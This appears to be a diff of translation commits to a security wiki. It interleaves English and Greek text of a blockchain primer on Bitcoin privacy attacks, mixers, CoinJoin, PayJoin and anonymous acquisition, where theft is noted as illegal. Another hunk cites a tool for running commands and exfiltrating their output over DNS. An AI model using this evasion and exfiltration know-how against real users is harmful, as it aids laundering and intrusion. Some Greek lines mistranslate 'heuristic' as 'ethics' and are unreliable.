- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων.
|
||||
- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές.
|
||||
- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα.
|
||||
|
||||
## Consensus Mechanisms
|
||||
## Μηχανισμοί Συμφωνίας
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain:
|
||||
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
|
||||
- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW.
|
||||
|
||||
## Bitcoin Essentials
|
||||
## Βασικά Στοιχεία του Bitcoin
|
||||
|
||||
### Transactions
|
||||
### Συναλλαγές
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές.
|
||||
|
||||
#### Key Components:
|
||||
#### Κύρια Στοιχεία:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής.
|
||||
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (πληρωμές στους miners), και **scripts** (κανόνες συναλλαγών).
|
||||
|
||||
### Lightning Network
|
||||
|
||||
Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain.
|
||||
Στοχεύει στη βελτίωση της κλιμακωσιμότητας του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain.
|
||||
|
||||
## Bitcoin Privacy Concerns
|
||||
## Ανησυχίες για την Ιδιωτικότητα του Bitcoin
|
||||
|
||||
Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users.
|
||||
Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών.
|
||||
|
||||
## Acquiring Bitcoins Anonymously
|
||||
## Απόκτηση Bitcoins Ανώνυμα
|
||||
|
||||
Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy.
|
||||
Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα.
|
||||
|
||||
# Bitcoin Privacy Atacks
|
||||
# Επιθέσεις Ιδιωτικότητας Bitcoin
|
||||
|
||||
# Summary of Bitcoin Privacy Attacks
|
||||
# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin
|
||||
|
||||
In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy.
|
||||
Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin.
|
||||
|
||||
## **Common Input Ownership Assumption**
|
||||
## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών**
|
||||
|
||||
It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**.
|
||||
Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**.
|
||||
|
||||
## **UTXO Change Address Detection**
|
||||
## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO**
|
||||
|
||||
A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy.
|
||||
Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα.
|
||||
|
||||
### Example
|
||||
### Παράδειγμα
|
||||
|
||||
To mitigate this, mixing services or using multiple addresses can help obscure ownership.
|
||||
Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην απόκρυψη της ιδιοκτησίας.
|
||||
|
||||
## **Social Networks & Forums Exposure**
|
||||
## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ**
|
||||
|
||||
Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**.
|
||||
Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**.
|
||||
|
||||
## **Transaction Graph Analysis**
|
||||
## **Ανάλυση Γραφήματος Συναλλαγών**
|
||||
|
||||
Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds.
|
||||
Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων.
|
||||
|
||||
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
|
||||
## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)**
|
||||
|
||||
This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender.
|
||||
|
||||
### Example
|
||||
Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα.
|
||||
|
||||
### Παράδειγμα
|
||||
```bash
|
||||
2 btc --> 4 btc
|
||||
3 btc 1 btc
|
||||
```
|
||||
Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική.
|
||||
|
||||
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
|
||||
## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων**
|
||||
|
||||
## **Forced Address Reuse**
|
||||
Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους.
|
||||
|
||||
Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together.
|
||||
### Σωστή Συμπεριφορά Πορτοφολιού
|
||||
|
||||
### Correct Wallet Behavior
|
||||
Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας.
|
||||
|
||||
Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak.
|
||||
## **Άλλες Τεχνικές Ανάλυσης Blockchain**
|
||||
|
||||
## **Other Blockchain Analysis Techniques**
|
||||
- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη.
|
||||
- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή.
|
||||
- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά μοτίβα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής.
|
||||
- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ιχνηλατήσιμες.
|
||||
|
||||
- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user.
|
||||
- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change.
|
||||
- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address.
|
||||
- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable.
|
||||
## **Ανάλυση Κίνησης**
|
||||
|
||||
## **Traffic Analysis**
|
||||
Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές.
|
||||
|
||||
By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions.
|
||||
## Περισσότερα
|
||||
|
||||
## More
|
||||
Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
|
||||
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
|
||||
# Ανώνυμες Συναλλαγές Bitcoin
|
||||
|
||||
# Anonymous Bitcoin Transactions
|
||||
## Τρόποι Απόκτησης Bitcoins Ανώνυμα
|
||||
|
||||
## Ways to Get Bitcoins Anonymously
|
||||
- **Συναλλαγές με Μετρητά:** Απόκτηση bitcoin μέσω μετρητών.
|
||||
- **Εναλλακτικές Μετρητών:** Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin.
|
||||
- **Εξόρυξη:** Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Κλοπή:** Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται.
|
||||
|
||||
- **Cash Transactions**: Acquiring bitcoin through cash.
|
||||
- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin.
|
||||
- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
|
||||
- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended.
|
||||
## Υπηρεσίες Μίξης
|
||||
|
||||
## Mixing Services
|
||||
|
||||
By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos.
|
||||
Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ιχνηλάτηση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin.
|
||||
|
||||
## CoinJoin
|
||||
|
||||
**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced.
|
||||
**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ιχνηλατηθούν.
|
||||
|
||||
Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`.
|
||||
|
||||
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
|
||||
Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες.
|
||||
|
||||
## PayJoin
|
||||
|
||||
A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities.
|
||||
|
||||
Μια παραλλαγή του CoinJoin, το **PayJoin** (ή P2EP), καλύπτει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών.
|
||||
```plaintext
|
||||
2 btc --> 3 btc
|
||||
5 btc 4 btc
|
||||
```
|
||||
Οι συναλλαγές όπως οι παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin.
|
||||
|
||||
Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions.
|
||||
**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας.
|
||||
|
||||
**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy.
|
||||
# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα
|
||||
|
||||
# Best Practices for Privacy in Cryptocurrencies
|
||||
## **Τεχνικές Συγχρονισμού Πορτοφολιών**
|
||||
|
||||
## **Wallet Synchronization Techniques**
|
||||
Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν:
|
||||
|
||||
To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out:
|
||||
- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης.
|
||||
- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη.
|
||||
|
||||
- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in.
|
||||
- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found.
|
||||
## **Χρήση του Tor για Ανωνυμία**
|
||||
|
||||
## **Utilizing Tor for Anonymity**
|
||||
Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο.
|
||||
|
||||
Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network.
|
||||
## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων**
|
||||
|
||||
## **Preventing Address Reuse**
|
||||
Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να διακυβεύσει την ιδιωτικότητα συνδέοντας τις συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους.
|
||||
|
||||
To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design.
|
||||
## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών**
|
||||
|
||||
## **Strategies for Transaction Privacy**
|
||||
- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας.
|
||||
- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής.
|
||||
- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα.
|
||||
|
||||
- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks.
|
||||
- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods.
|
||||
- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy.
|
||||
# **Monero: Ένας Φάρος Ανωνυμίας**
|
||||
|
||||
# **Monero: A Beacon of Anonymity**
|
||||
Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας ένα υψηλό πρότυπο για την ιδιωτικότητα.
|
||||
|
||||
Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy.
|
||||
# **Ethereum: Gas και Συναλλαγές**
|
||||
|
||||
# **Ethereum: Gas and Transactions**
|
||||
## **Κατανόηση του Gas**
|
||||
|
||||
## **Understanding Gas**
|
||||
Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβολή να επιστρέφεται.
|
||||
|
||||
Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded.
|
||||
## **Εκτέλεση Συναλλαγών**
|
||||
|
||||
## **Executing Transactions**
|
||||
Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής.
|
||||
|
||||
Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data.
|
||||
Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια.
|
||||
|
||||
These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security.
|
||||
|
||||
## References
|
||||
## Αναφορές
|
||||
|
||||
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
|
||||
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
|
||||
|
||||
@ -4,11 +4,11 @@
|
||||
|
||||
- **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή
|
||||
- **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών.
|
||||
- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΜΕΓΑΛΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-).
|
||||
- **Αριθμοί:** Δημιουργήστε αριθμούς από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία.
|
||||
- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε πεζά, σε ΚΕΦΑΛΑΙΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε πεζά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-).
|
||||
- **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία.
|
||||
- **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος.
|
||||
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για την εκτέλεση εντολών και την απόκτηση της εξόδου μέσω DNS αιτημάτων προς το burpcollab.
|
||||
[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab.
|
||||
|
||||
{% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %}
|
||||
|
||||
|
||||
@ -1,180 +1,176 @@
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Concepts
|
||||
## Βασικές Έννοιες
|
||||
|
||||
- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries.
|
||||
- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end.
|
||||
- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts.
|
||||
- **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership.
|
||||
- **DeFi** stands for Decentralized Finance, offering financial services without central authorities.
|
||||
- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively.
|
||||
- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες.
|
||||
- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end.
|
||||
- **Tokens & Coins** διαφοροποιούνται όπου τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα.
|
||||
- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων.
|
||||
- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές.
|
||||
- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα.
|
||||
|
||||
## Consensus Mechanisms
|
||||
## Μηχανισμοί Συμφωνίας
|
||||
|
||||
Consensus mechanisms ensure secure and agreed transaction validations on the blockchain:
|
||||
Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain:
|
||||
|
||||
- **Proof of Work (PoW)** relies on computational power for transaction verification.
|
||||
- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW.
|
||||
- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών.
|
||||
- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW.
|
||||
|
||||
## Bitcoin Essentials
|
||||
## Βασικά Στοιχεία του Bitcoin
|
||||
|
||||
### Transactions
|
||||
### Συναλλαγές
|
||||
|
||||
Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers.
|
||||
Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές.
|
||||
|
||||
#### Key Components:
|
||||
#### Κύρια Στοιχεία:
|
||||
|
||||
- **Multisignature Transactions** require multiple signatures to authorize a transaction.
|
||||
- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules).
|
||||
- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής.
|
||||
- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (που πληρώνονται στους miners), και **scripts** (κανόνες συναλλαγής).
|
||||
|
||||
